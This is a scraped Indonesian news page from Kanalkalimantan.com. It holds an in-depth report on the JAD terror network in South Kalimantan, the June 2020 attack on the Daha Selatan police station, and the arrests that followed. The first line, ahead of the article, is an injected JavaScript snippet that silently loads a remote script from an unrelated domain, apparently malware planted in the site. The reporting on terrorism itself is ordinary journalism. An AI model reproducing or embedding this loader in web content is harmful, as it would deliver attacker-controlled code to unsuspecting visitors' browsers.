(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

INDEPTH. Membongkar Jaringan JAD di Kalsel, Organisasi di Balik Serangan Mapolsek Daha Selatan!


KANALKALIMANTAN.COM, BANJARBARU – Serangan teroris di Mapolsek Daha Selatan, Hulu Sungai Selatan (HSS), pada Senin (1/6/2020) dini hari yang menyebabkan meninggalnya anggota polisi almarhum Brigadir Leonardo Latupapua, membuka mata warga Kalimantan Selatan (Kalsel). Kehidupan beragama yang selama ini dikenal santun, toleran, dan ramah, ternoda oleh aksi brutal Abdurrahman (AR) dan kelompoknya yang tergabung Jamaah Ansharut Daulah (JAD) Kalsel.

AR tewas dalam serangan itu, dan sejumlah rekannya yang terlibat telah ditangkap oleh Densus 88 Antiteror beberapa waktu lalu. Lalu, apakah Kalsel sudah bersih dari ancaman radikalisme?

Sehari itu, Jumat (5/6/2020) operasi senyap dilakukan Densus 88 di Kalsel. Informasi yang dihimpun Kanalkalimantan.com, penangkapan sejumlah terduga teroris dilakukan di sejumlah lokasi. Selain Kabupaten Tanah Bumbu (Tanbu), juga dilakukan di Banjarbaru dan Banjarmasin. Sebanyak 5 orang terduga teroris diamankan nyaris pada waktu yang sama.

Usai penangkapan tersebut, Mabes Polri kemudian mengungkap aksi di balik penyerangan Mapolsek Daha Selatan tersebut. Salah satunya, terkait dua sosok yang disebut sebagai ‘otak’ aksi terorisme. Mereka adalah AS (33), terduga teroris yang ditangkap di Tanbu dan TA (24) yang ditangkap di Banjarbaru. “AS dan TA mengetahui dan ikut merencanakan aksi amaliah penyerangan Polsek Daha Selatan,” kata Karo Penmas Divisi Humas Polri Brigjen Awi Setiyono di Mabes Polri, Jakarta Selatan, beberapa waktu lalu.

AS ditangkap di Kelurahan Baru Gelang, Kecamatan Kusan Hilir, Kabupaten Tanah Bumbu, Kalsel pada pukul 01.10 WITA, pada Jumat (5/6/2020). AS diketahui anggota Jamaah Ansharut Daulah (JAD) Kalsel yang berperan memberikan ide kepada tim amaliah (eksekutor AR) untuk melaksanakan aksi penyerangan.

Sementara itu, TA pada hari yang sama ditangkap di Loktabat Selatan, Banjarbaru Selatan, Kalsel pada hari yang sama pukul 00.45 Wita bertugas membentuk tim kecil JAD Kasel. “Dia merupakan otak dari pelaku sekaligus yang membait AR,” kata Awi.

Meski terbilang muda karena berumur 24 tahun, TA memiliki peran penting di balik aksi penyerangan Mapolsek Daha Selatan bertepatan momen Hari Lahir Pancasila itu. TA diketahui juga sebagai orang pertama yang membaiat eksekutor AR yang tewas saat penyerangan.“Selain itu, TA juga membait empat rekan yang lain yakni AS (yang ditangkap di Tanah Bumbu), MZ, AN, dan MR.

Lalu bagaimana kisah TA membangun jaringan JAD di Kalsel?  Hasil penelusuran Kanalkalimantan.com dari sejumlah sumber terpercaya mengatakan, TA, dan eksekutor AR, dan MZ, merupakan teman lama. Jauh sebelum mereka terlibat dalam perencanaan penyerangan Mapolsek Daha Selatan, mereka sudah mendapatkan pemahaman ajaran radikalisme dari alumni pesantren di Jawa Barat, yang masih terkait dengan jaringan Aman Abdurrahman.

Menurut pengamat teroris, Al Chaidar, kelompok teror di Tanah Air yang terafiliasi dengan ISIS masih tetap eksis hingga sekarang. Tokoh utama yang dianggap masih sangat berpengaruh adalah Aman Abdurrahman alias Abu Sulaiman. “Ia masih memiliki pengaruh yang kuat terhadap anggota ISIS di Indonesia,” katanya.

Aman Abdurrahman telah divonis hukuman mati karena terbukti menggerakkan orang lain lewat ceramahnya untuk melakukan kegiatan teror. Aman adalah pimpinan Tauhid wal Jihad, kelompok teror di bawah Jamaah Ansharud Daulah (JAD). Satu lagi kelompok teror di bawah JAD adalah Jamaah Ansharut Tauhid, yang dibentuk Abu Bakar Ba’asyir—divonis 15 tahun penjara pada 2011 karena dituding terlibat pelatihan militer kelompok teroris di Aceh.

Dari hasil cuci otak almuni pesantren di Jawa Barat itulah, tiga orang ini yakni TA, AR, dan MZ, kemudian mengembangkan JAD Kalsel. Mereka sempat berpisah, sebelum akhirnya berkumpul lagi untuk merencanakan aksi penyerangan pada tanggal 1 Juni 2020.

Terkait pertemanan antara TA, AR, dan MZ ini, Kanalkalimantan.com yang mencoba mengkonformasi ke Kabid Humas Polda Kalsel Kombes Moch Rifa’i belum membalas pesan pertanyaan.

JAD adalah sebuah kelompok militan Indonesia yang dilaporkan memiliki kaitan dengan sejumlah kasus terorisme. Di antaranya pengeboman Surabaya pada tahun 2018. Pada tahun 2017, kelompok ini telah diakui sebagai organisasi teroris oleh Departemen Dalam Negeri Amerika Serikat.

Pada 31 Juli 2018 , pengadilan di Jakarta Selatan membuat putusan yang melarang organisasi tersebut, yang memungkinkan penangkapan semua anggota dan organisasinya. Dua anggota JAD diyakini telah melakukan serangan pisau pada menteri keamanan Indonesia yaitu Wiranto pada 10 Oktober 2019, yang mengakibatkan Wiranto dirawat di rumah sakit. Tiga orang lainnya, termasuk seorang Polisi, ditikam dan dilukai.

Sebelumnya, dalam keterangan resminya pada Senin (1/6/2020) siang lalu, Kabid Humas Polda Kalsel Kombes Pol Moch Rifa’i membeberkan kronologi penyerangan yang mengakibatkan satu personel bernama Brigadir Leonardo Latupapua (30) gugur.

Sekitar pukul 02.15 Wita Bripda M Azmi mendengar keributan di ruang SPKT, pada saat itu posisi Bripda M Azmi berada di ruangan unit reskrim. Kemudian mendatangi ke ruangan SPKT dan melihat keadaan Brigadir Leonardo Latupapua sudah mengalami luka bacok, kemudian Bripda M Azmi mendatangi Kanit Intel Brigadir Djoman Sahat Manik Raja untuk meminta pertolongan dan bersama sama mendatangi ruang SPKT.

“Kemudian AR (pelaku) tersebut mengejar kedua anggota yang mendatangi ruang SPKT tersebut dengan sajam jenis samurai yang sudah terhunus,” kata Kombes Rifa’i.

Lebih lanjut ia menjelaskan, anggota yang dikejar tersebut lari ke ruang Intel dan Binmas serta mengunci ruangan dari dalam sambil meminta bantuan menelpon ke Polres Hulu Sungai Selatan. Selanjutnya, AR bersembunyi di ruangan unit Reskrim, hingga bantuan dari Polres HSS datang, pelaku tidak mau menyerah.

Sehingga aparat kepolisian mau tidak mau mengambil tindakan tegas dan terukur terhadap AR dengan memberikan tembakan, hingga akhirnya dinyatakan tewas saat dirujuk ke RSUD Hasan Basry Kandangan. (Kanalkalimantan.com/tim)

 

Reporter : Tim
Editor : Cell

 


Desy Arfianty

Recent Posts

Banjarbaru Posisi Kedua Klasemen Sementara Popda Kalsel 2024

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More

3 jam ago

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

4 jam ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

5 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

8 jam ago

Jalan Pangeran Suriansyah Banjarbaru Steril PKL dan Parkir Tepi Jalan

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas Pedagang Kaki Lima alias PKL di sepanjang jalan Pangeran Suriansyah, Kelurahan… Read More

10 jam ago

Wapres Serahkan Motor Perpustakaan Keliling ke Pemkab HSU

KANALKALIMANTAN.COM, JAKARTA - Wakil Presiden RI, KH Ma’ruf Amin secara simbolis menyerahkan bantuan Motor Perpustakaan… Read More

11 jam ago

This website uses cookies.